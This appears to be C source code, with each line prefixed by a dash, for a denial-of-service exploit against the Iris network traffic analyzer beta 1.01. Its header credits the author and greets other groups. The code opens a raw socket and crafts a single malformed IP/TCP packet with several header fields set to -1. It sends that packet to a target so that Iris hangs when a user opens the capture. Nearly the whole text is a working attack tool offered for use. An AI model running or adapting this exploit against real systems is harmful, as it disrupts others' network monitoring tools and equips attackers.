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- /* Denial of Service attack against :
- * Iris The Network Traffic Analyzer beta 1.01
- * ------------------------------------------------
- *
- * Will create an incorrect packet which will cause
- * Iris to hang when it is opened by a user.
- *
- * Vulnerability found by : grazer@digit-labs.org
- * Exploit code by : grazer@digit-labs.org
- *
- * Respect to the guys from eEye, for there fast
- * response.
- *
- * greetings to hit2000, hwa, synnergy, security.is
- * digit-labs.
- *
- * ---------------> free sk8!!!! <-----------------
- *
- * ------------------------------------------------
- * http://www.digit-labs.org
- * grazer@digit-labs.org
- * ------------------------------------------------
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <sys/types.h>
- #include <sys/socket.h>
-
- int build_packet(int sfd, u_long srcaddr, u_long dstaddr);
-
- struct pseudo {
- u_long saddr;
- u_long daddr;
- u_char zero;
- u_char protocol;
- u_short length;
- };
-
- int main(int argc,char **argv){
- int rawfd, check, one=1;
-
- struct sockaddr_in raddr;
- struct in_addr source_ip, desti_ip;
- struct ip *ip;
- struct tcphdr *tcp;
-
- while (argc<3) {
- fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
- fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] ); exit(0);}
-
- fprintf(stderr, "\nStarting Iris DoS...\n");
- if((check=gethostbyname(argv[2])==NULL)) {
- fprintf(stderr, "\nCannot resolve host %s\n", argv[2]); exit(0); }
-
- source_ip.s_addr= inet_addr(argv[1]);
- desti_ip.s_addr = inet_addr(argv[2]);
-
- if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
- fprintf(stderr, "\n You need root for this..");
- exit(0); }
-
- setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);
-
- build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);
-
- close(rawfd);
- return 1; }
-
-
- int build_packet(int sfd, u_long srcaddr, u_long dstaddr) {
-
- u_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];
- struct sockaddr_in sin;
- struct in_addr src_inaddr, dest_inaddr;
- struct ip *ip = (struct ip *) packet;
- struct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));
- struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)
- + sizeof(struct pseudo));
-
- bzero(packet, sizeof(packet));
- bzero(&sin,sizeof(sin));
-
- src_inaddr.s_addr = srcaddr;
- dest_inaddr.s_addr = dstaddr;
-
- pseudo->saddr = srcaddr;
- pseudo->daddr = dstaddr;
- pseudo->zero = 1;
- pseudo->protocol=IPPROTO_TCP;
- pseudo->length = htons(sizeof (struct tcphdr));
-
- ip->ip_v = -1;
- ip->ip_hl = -1;
- ip->ip_id = -1;
- ip->ip_src = src_inaddr;
- ip->ip_dst = dest_inaddr;
- ip->ip_p = IPPROTO_TCP;
- ip->ip_ttl = 40;
- ip->ip_off = -1;
- ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
- tcp->seq = htonl(rand());
- tcp->ack = htonl(rand());
-
- sin.sin_family=AF_INET;
- sin.sin_addr.s_addr=dstaddr;
- sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,
- (struct sockaddr *) &sin,sizeof(sin));
-
- fprintf(stderr, "\n Packet send... \n\n" );
-
- return 1;}
-